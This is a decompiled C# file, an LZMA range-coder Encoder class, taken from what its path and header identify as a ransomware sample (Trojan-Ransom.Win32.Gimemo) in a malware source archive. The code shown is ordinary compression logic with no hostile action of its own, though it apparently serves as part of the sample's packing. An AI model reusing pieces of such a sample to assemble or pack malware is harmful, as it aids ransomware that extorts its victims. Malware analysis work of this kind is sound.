MalwareSourceCode/MSIL/Trojan-Ransom/Win32/G/Trojan-Ransom.Win32.Gimemo.ayt-7cb020d260d835f80919399a58563918f73757689e39ba851e89cc00a05535da/Compression/RangeCoder/Encoder.cs
2022-08-18 06:28:56 -05:00

109 lines
2.8 KiB
C#

// Decompiled with JetBrains decompiler
// Type: SevenZip.Compression.RangeCoder.Encoder
// Assembly: crypted, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 316F25AB-9DC5-41B1-B1CB-0BB9D97AEA6A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Ransom.Win32.Gimemo.ayt-7cb020d260d835f80919399a58563918f73757689e39ba851e89cc00a05535da.exe
using System.IO;
namespace SevenZip.Compression.RangeCoder
{
internal class Encoder
{
public const uint kTopValue = 16777216;
private Stream Stream;
public ulong Low;
public uint Range;
private uint _cacheSize;
private byte _cache;
private long StartPosition;
public void SetStream(Stream stream) => this.Stream = stream;
public void ReleaseStream() => this.Stream = (Stream) null;
public void Init()
{
this.StartPosition = this.Stream.Position;
this.Low = 0UL;
this.Range = uint.MaxValue;
this._cacheSize = 1U;
this._cache = (byte) 0;
}
public void FlushData()
{
for (int index = 0; index < 5; ++index)
this.ShiftLow();
}
public void FlushStream() => this.Stream.Flush();
public void CloseStream() => this.Stream.Close();
public void Encode(uint start, uint size, uint total)
{
this.Low += (ulong) (start * (this.Range /= total));
this.Range *= size;
while (this.Range < 16777216U)
{
this.Range <<= 8;
this.ShiftLow();
}
}
public void ShiftLow()
{
if ((uint) this.Low < 4278190080U || (uint) (this.Low >> 32) == 1U)
{
byte num = this._cache;
do
{
this.Stream.WriteByte((byte) ((ulong) num + (this.Low >> 32)));
num = byte.MaxValue;
}
while (--this._cacheSize != 0U);
this._cache = (byte) ((uint) this.Low >> 24);
}
++this._cacheSize;
this.Low = (ulong) ((uint) this.Low << 8);
}
public void EncodeDirectBits(uint v, int numTotalBits)
{
for (int index = numTotalBits - 1; index >= 0; --index)
{
this.Range >>= 1;
if (((int) (v >> index) & 1) == 1)
this.Low += (ulong) this.Range;
if (this.Range < 16777216U)
{
this.Range <<= 8;
this.ShiftLow();
}
}
}
public void EncodeBit(uint size0, int numTotalBits, uint symbol)
{
uint num = (this.Range >> numTotalBits) * size0;
if (symbol == 0U)
{
this.Range = num;
}
else
{
this.Low += (ulong) num;
this.Range -= num;
}
while (this.Range < 16777216U)
{
this.Range <<= 8;
this.ShiftLow();
}
}
public long GetProcessedSizeAdd() => (long) this._cacheSize + this.Stream.Position - this.StartPosition + 4L;
}
}